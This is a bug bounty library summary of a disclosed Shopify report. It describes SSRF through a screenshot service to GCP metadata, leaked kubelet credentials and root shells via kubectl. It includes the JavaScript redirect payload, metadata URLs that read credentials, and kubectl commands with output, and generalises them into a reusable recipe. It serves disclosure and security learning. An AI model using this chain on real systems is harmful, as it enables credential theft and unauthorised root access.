# SSRF in Exchange leads to ROOT access in all instances

SSRF in Shopify Exchange's store screenshot feature reached GCP metadata, leaked kube-env kubelet creds, and yielded root in all containers of a subset.

- Payout: $25,000
- Severity: medium
- Program: Shopify
- Found by: 0xacb
- Disclosed: 2018-05-23
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/341876
- Library page: https://bugbountylibrary.com/r/h1%3A341876
- Tags: area:cloud domain:cloud impact:internal-access impact:rce kind:bounty platform:hackerone sev:medium tech:gcp tech:kubernetes technique:chained technique:default-creds vuln:rce vuln:ssrf

**Target:** Store screenshot rendering service on GCP/GKE
**Root cause:** The screenshot service fetched attacker-controlled URLs server-side without blocking internal/metadata addresses, and GKE metadata concealment was disabled so kube-env exposed kubelet credentials.
**Steps:**
1. Create a store on partners.shopify.com and edit `password.liquid` to add `<script>window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";</script>`
2. Install the Exchange app via https://exchange.shopify.com/create-a-listing and wait for the store screenshot to render
3. Download the resulting PNG and open/convert it to read the leaked token (v1beta1 needs no Metadata-Flavor header)
4. Request `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json` to dump attributes including kube-env
5. Request `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json` to obtain ca.crt, client.crt, client.pem and MASTER_NAME
6. Use `kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://<master> get pods --all-namespaces`
7. Describe a pod to find its secret name, then `kubectl get secret <name> -n <ns> -o yaml` to extract the service account token
8. Use the token: `kubectl --certificate-authority ca.crt --server https://<master> --token "<token>" exec -it <pod> -- /bin/bash` to get root
**How found:** Researcher explored SSRF via the Exchange screenshot feature, noticed the v1beta1 metadata endpoint needs no Metadata-Flavor header, and used `alt=json` to force JSON responses the screenshotter would render.
**Exploitation:** Attacker-controlled Liquid template JS redirects the headless screenshot browser to GCP metadata; the rendered PNG leaks the token and kube-env. Kubelet client certs allow creating pods and describing pods to recover a service-account token, which grants exec into any container as root.
**Escalation:** Metadata token -> kube-env kubelet certs -> pod describe to leak SA token -> kubectl exec root shell in any container across the subset.
**Insight:** When a screenshot/headless-browser service fetches attacker URLs, target the legacy `/v1beta1` GCP metadata path (no Metadata-Flavor header required) and append `alt=json` so JSON responses render as images; then check whether GKE metadata concealment is off to grab kube-env kubelet creds.

## Proof of concept (copied exactly from the original report)

**Liquid template SSRF to GCP metadata token**

```
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
// iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
</script>
```

**kubectl create pod with leaked kubelet certs**

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml

pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo
```

**kubectl exec root shell via service account token**

```
$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root) gid=0(root) groups=0(root)
█████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
███████:/# exit
```

